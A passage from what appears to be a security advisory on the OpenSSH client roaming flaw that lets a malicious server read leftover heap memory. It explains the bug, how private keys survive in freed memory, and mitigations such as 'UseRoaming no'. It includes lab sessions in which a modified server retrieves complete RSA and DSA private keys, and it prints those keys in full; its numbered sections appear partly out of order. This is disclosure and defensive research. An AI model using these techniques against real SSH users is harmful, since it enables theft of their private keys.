In the OpenSSH client's roaming buffer out_buf, the most recent data
sent to the server begins at index out_start and ends at index out_last.
As soon as this circular buffer is full, buf_append() maintains the
invariant "out_start = out_last + 1", and consequently three different
cases have to be considered:
- "out_start < out_last" (lines 203-204): out_buf is not full yet (and
out_start is still equal to 0), and the amount of data available in
out_buf is indeed "out_last - out_start";
- "out_start > out_last" (lines 205-206): out_buf is full (and out_start
is exactly equal to "out_last + 1"), and the amount of data available
in out_buf is indeed the entire out_buf_size;
- "out_start == out_last" (lines 205-206): no data was ever written to
out_buf (and both out_start and out_last are still equal to 0) because
no data was ever sent to the server after roaming_reply() was called,
but the client sends (leaks) the entire uninitialized out_buf to the
server (line 214), as if out_buf_size bytes of data were available.
In order to successfully exploit this information leak and retrieve
sensitive information from the OpenSSH client's memory (for example,
private SSH keys, or memory addresses useful for further exploitation),
a malicious server needs to:
- Massage the client's heap before roaming_reply() malloc()ates out_buf,
and force malloc() to return a previously free()d but uncleansed chunk
of sensitive information. The simple proof-of-concept in this advisory
does not implement heap massaging.
- Guess the client's get_snd_buf_size() in order to precisely control
out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G),
and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller
than get_snd_buf_size() are attainable because roaming_reply() does
not protect "packet_get_int() + get_snd_buf_size()" against integer
wraparound. The proof-of-concept in this advisory attempts to derive
the client's get_snd_buf_size() from the get_recv_buf_size() sent by
the client to the server, and simply chooses a random out_buf_size.
- Advise the client's resend_bytes() that all "available" bytes (the
entire out_buf_size) are "needed" by the server, even if fewer bytes
were actually written by the client to the server (because the server
controls the "*offset" argument, and resend_bytes() does not protect
"needed = write_bytes - *offset" against integer wraparound).
Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit
systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and
"out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend"
may point out-of-bounds, if chunkend is negative (if out_buf_size is in
the [2G,4G) range). This negative chunkend is then converted to a 64-bit
size_t greater than SSIZE_MAX when passed to atomicio(), and eventually
returns EFAULT when passed to write() (at least on Linux and OpenBSD),
thus avoiding an out-of-bounds read from the OpenSSH client's memory.
------------------------------------------------------------------------
Private Key Disclosure
------------------------------------------------------------------------
We initially believed that this information leak in the OpenSSH client's
roaming code would not allow a malicious SSH server to steal the
client's private keys, because:
- the information leaked is not read from out-of-bounds memory, but from
a previously free()d chunk of memory that is recycled to malloc()ate
the client's roaming buffer out_buf;
- private keys are loaded from disk into memory and freed by key_free()
(old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7),
and both functions properly cleanse the private keys' memory with
OPENSSL_cleanse() or explicit_bzero();
- temporary copies of in-memory private keys are freed by buffer_free()
(old API) or sshbuf_free() (new API), and both functions attempt to
cleanse these copies with memset() or bzero().
However, we eventually identified three reasons why, in our experiments,
we were able to partially or completely retrieve the OpenSSH client's
private keys through this information leak (depending on the client's
version, compiler, operating system, heap layout, and private keys):
(besides these three reasons, other reasons may exist, as suggested by
the CentOS and Fedora examples at the end of this section)
1. If a private SSH key is loaded from disk into memory by fopen() (or
fdopen()), fgets(), and fclose(), a partial or complete copy of this
private key may remain uncleansed in memory. Indeed, these functions
manage their own internal buffers, and whether these buffers are
cleansed or not depends on the OpenSSH client's libc (stdio)
implementation, but not on OpenSSH itself.
- In all vulnerable OpenSSH versions, SSH's main() function calls
load_public_identity_files(), which loads the client's public keys
with fopen(), fgets(), and fclose(). Unfortunately, the private keys
(without the ".pub" suffix) are loaded first and then discarded, but
nonetheless buffered in memory by the stdio functions.
- In OpenSSH versions <= 5.6, the load_identity_file() function (called
by the client's public-key authentication method) loads a private key
with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses
fgets() and hence internal stdio buffering.
Internal stdio buffering is the most severe of the three problems
discussed in this section, although GNU/Linux is not affected because
the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers.
BSD-based systems, on the other hand, are severely affected because they
simply malloc()ate and free() stdio buffers. For interesting comments on
this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk
2. In OpenSSH versions >= 5.9, the client's load_identity_file()
function (called by the public-key authentication method) read()s a
private key in 1024-byte chunks that are appended to a growing buffer (a
realloc()ating buffer) with buffer_append() (old API) or sshbuf_put()
(new API). Unfortunately, the repeated calls to realloc() may leave
partial copies of the private key uncleansed in memory.
- In OpenSSH < 6.7 (old API), the initial size of such a growing buffer
is 4096 bytes: if a private-key file is larger than 4K, a partial copy
of this private key may remain uncleansed in memory (a 3K copy in a 4K
buffer). Fortunately, only the file of a very large RSA key (for
example, an 8192-bit RSA key) can exceed 4K.
- In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is
256 bytes: if a private-key file is larger than 1K (the size passed to
read()), a partial copy of this private key may remain uncleansed in
memory (a 1K copy in a 1K buffer). For example, the file of a
default-sized 2048-bit RSA key exceeds 1K.
For more information on this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources
https://cwe.mitre.org/data/definitions/244.html
3. An OpenSSH growing-buffer that holds a private key is eventually
freed by buffer_free() (old API) or sshbuf_free() (new API), and both
functions attempt to cleanse the buffer with memset() or bzero() before
they call free(). Unfortunately, an optimizing compiler may remove this
memset() or bzero() call, because the buffer is written to, but never
again read from (an optimization known as Dead Store Elimination).
OpenSSH 6.6 is the only version that is not affected, because it calls
explicit_bzero() instead of memset() or bzero().
Dead Store Elimination is the least severe of the three problems
explored in this section, because older GCC versions do not remove the
memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5
and Clang/LLVM do, however, remove it. For detailed discussions of this
issue:
https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations
https://cwe.mitre.org/data/definitions/14.html
https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506
Finally, for these three reasons, passphrase-encrypted SSH keys are
leaked in their encrypted form, but an attacker may attempt to crack the
passphrase offline. On the other hand, SSH keys that are available only
through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the
undocumented option "UseRoaming no" to the system-wide configuration
file (usually /etc/ssh/ssh_config), or per-user configuration file
(~/.ssh/config), or command-line (-o "UseRoaming no").
2. If an OpenSSH client is disconnected from an SSH server that offers
roaming, it prints "[connection suspended, press return to resume]" on
stderr, and waits for '\n' or '\r' on stdin (and not on the controlling
terminal) before it reconnects to the server; advanced users may become
suspicious and press Control-C or Control-Z instead, thus avoiding the
information leak:
# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume]^Z
[1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1
However, SSH commands that use the local stdin to transfer data to the
remote server are bound to trigger this reconnection automatically (upon
reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH
commands (for example, backup scripts and cron jobs) commonly employ
public-key authentication and are therefore perfect targets for this
information leak:
$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls"
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar"
tar: Removing leading `/' from member names
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
...
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
Similarly, the SCP client uses the SSH client's stdin and stdout to
transfer data, and can be forced by a malicious SSH server to output a
control record that ends in '\n' (an error message in server-to-client
mode, or file permissions in client-to-server mode); this '\n' is then
read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and
triggers an automatic reconnection that allows the information leak to
be exploited without user interaction:
# env ROAMING="scp_mode sleep:1" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp
$ [connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
lost connection
3. Although a man-in-the-middle attacker can reset the TCP connection
between an OpenSSH client and an OpenSSH server (which does not support
roaming), it cannot exploit the information leak without breaking server
host authentication or integrity protection, because it needs to:
- first, append the "resume@appgate.com" algorithm name to the server's
initial key exchange message;
- second, in response to the client's "roaming@appgate.com" request,
change the server's reply from failure to success.
In conclusion, an attacker who wishes to exploit this information leak
must convince its target OpenSSH client to connect to a malicious server
(an unlikely scenario), or compromise a trusted server (a more likely
scenario, for a determined attacker).
4. In the client, wait_for_roaming_reconnect()
calls ssh_connect(), the same function that successfully established the
first connection to the server; this function supports four different
connection methods, but each method contains a bug and may fail to
establish a second connection to the server:
- In OpenSSH >= 6.5 (released on January 30, 2014), the default
ssh_connect_direct() method (a simple TCP connection) is called by
wait_for_roaming_reconnect() with a NULL aitop argument, which makes
it impossible for the client to reconnect to the server:
418 static int
419 ssh_connect_direct(const char *host, struct addrinfo *aitop,
...
424 int sock = -1, attempt;
425 char ntop[NI_MAXHOST], strport[NI_MAXSERV];
...
430 for (attempt = 0; attempt < connection_attempts; attempt++) {
...
440 for (ai = aitop; ai; ai = ai->ai_next) {
...
470 }
471 if (sock != -1)
472 break; /* Successful connection. */
473 }
474
475 /* Return failure if we didn't get a successful connection. */
476 if (sock == -1) {
477 error("ssh: connect to host %s port %s: %s",
478 host, strport, strerror(errno));
479 return (-1);
480 }
Incidentally, this error() call displays stack memory from the
uninitialized strport[] array, a byproduct of the NULL aitop:
$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
- The special ProxyCommand "-" communicates with the server through the
client's stdin and stdout, but these file descriptors are close()d by
packet_backup_state() at the beginning of wait_for_roaming_reconnect()
and are never reopened again, making it impossible for the client to
reconnect to the server. Moreover, the fgetc() that waits for '\n' or
'\r' on the closed stdin returns EOF and forces the client to exit():
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222
Pseudo-terminal will not be allocated because stdin is not a terminal.
user@127.0.0.1's password:
[connection suspended, press return to resume][exiting]
- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that
passes a connected file descriptor back to the client, but it calls
fatal() while reconnecting to the server, because waitpid() returns
ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after
the first successful connection to the server) calls waitpid() before
ssh_proxy_fdpass_connect() does:
1782 static void
1783 main_sigchld_handler(int sig)
1784 {
....
1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 ||
1790 (pid < 0 && errno == EINTR))
1791 ;
1792
1793 signal(sig, main_sigchld_handler);
....
1795 }
101 static int
102 ssh_proxy_fdpass_connect(const char *host, u_short port,
103 const char *proxy_command)
104 {
...
121 /* Fork and execute the proxy command. */
122 if ((pid = fork()) == 0) {
...
157 }
158 /* Parent. */
...
167 while (waitpid(pid, NULL, 0) == -1)
168 if (errno != EINTR)
169 fatal("Couldn't wait for child: %s", strerror(errno));
$ /usr/bin/ssh -V
OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015
$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]Couldn't wait for child: No child processes
- The method ssh_proxy_connect() fork()s a standard ProxyCommand that
connects the client to the server, but if a disconnection occurs, and
the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is
waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying
read() returns EINTR) and the client exit()s before it can reconnect
to the server:
$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][exiting]
This behavior is intriguing, because (at least on Linux and BSD) the
signal() call that installed the main_sigchld_handler() is supposed to
be equivalent to a sigaction() call with SA_RESTART. However, portable
versions of OpenSSH override signal() with mysignal(), a function that
calls sigaction() without SA_RESTART.
This last mitigating factor is actually a race-condition bug that
depends on the ProxyCommand itself: for example, the client never
fails to reconnect to the server when using Socat as a ProxyCommand,
but fails occasionally when using Netcat.
------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n
UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
-----END RSA PRIVATE KEY-----
# env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013
$ /usr/bin/ssh -V
OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013
$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
-----END DSA PRIVATE KEY-----
# env ROAMING="client_out_buf_size:768" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-9448bb7f/infoleak
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
...
# env ROAMING="client_out_buf_size:1024" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-279f5e2b/infoleak
...
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
...
------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013
$ /usr/bin/ssh -V
OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
-----END RSA PRIVATE KEY-----
# env ROAMING="client_out_buf_size:2048" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-35ee7ab0/infoleak
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-6cb31d82/infoleak
...
